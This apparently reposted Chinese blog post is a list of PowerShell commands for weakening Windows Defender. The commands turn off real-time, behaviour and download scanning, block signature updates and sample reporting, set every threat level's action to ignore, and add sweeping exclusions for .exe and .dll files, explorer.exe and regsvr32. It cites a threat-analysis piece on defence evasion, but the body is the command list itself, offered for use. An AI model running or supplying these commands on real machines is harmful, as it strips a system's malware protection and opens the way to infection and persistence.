Windows?Defender功能削弱

#?關閉實時保護 powershell.exe?-command?"Set-MpPreference?-DisableRealtimeMonitoring?$true"#?關閉行為監視 powershell.exe?-command?"Set-MpPreference?-DisableBehaviorMonitoring?$true"#?禁用IOAV保護，禁止掃描下載的文件和附件 powershell.exe?-command?"Set-MpPreference?-DisableIOAVProtection?$true"#?關閉Defender自動更新 powershell.exe?-command?"Set-MpPreference?-SignatureDisableUpdateOnStartupWithoutEngine?$true"#?禁止掃描.zip等的存檔文件 powershell.exe?-command?"Set-MpPreference?-DisableArchiveScanning?$true"#?關閉已知漏洞利用防護 powershell.exe?-command?"Set-MpPreference?-DisableIntrusionPreventionSystem?$true"

Defender威脅忽視

#?禁止提交樣本 powershell.exe?-command?"Set-MpPreference?-SubmitSamplesConsent?2"#?指定用于高級威脅的自動修復操作選項 powershell.exe?-command?"Set-MpPreference?-HighThreatDefaultAction?6?-Force"#?指定用于中級威脅的自動修復操作選項 powershell.exe?-command?"Set-MpPreference?-ModerateThreatDefaultAction?6"#?指定用于低級威脅的自動修復操作選項 powershell.exe?-command?"Set-MpPreference?-LowThreatDefaultAction?6"#?指定用于嚴重威脅的自動修復操作選項 powershell.exe?-command?"Set-MpPreference?-SevereThreatDefaultAction?6"

Defender檢測擴展排除

powershell.exe?-command?"Add-MpPreference?-ExclusionExtension?".exe""

Defender檢測進程排除

powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?"regsvr32""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?"regsvr32*""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?".exe""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?"iexplorer.exe""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?"explorer.exe""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?".dll""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?"*.dll""powershell.exe?-command?"Add-MpPreference?-ExclusionProcess?"*.exe""

禁止向微軟報告安全信息

cmd?/c?powershell.exe?-command?"Set-MpPreference?-MAPSReporting?0"

保護關閉

#?PUA保護關閉 powershell.exe?-command?"Set-MpPreference?-PUAProtection?disable"

攻擊面減少

#?關閉受控文件夾訪問 powershell.exe?-command?"Set-MpPreference?-EnableControlledFolderAccess?Disabled"

參考資料:

攻擊技術研判｜針對Windows Defender的防御削弱及LOLBAS規避技術分析 (qq.com)

總結

以上是生活随笔為你收集整理的关闭defender的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。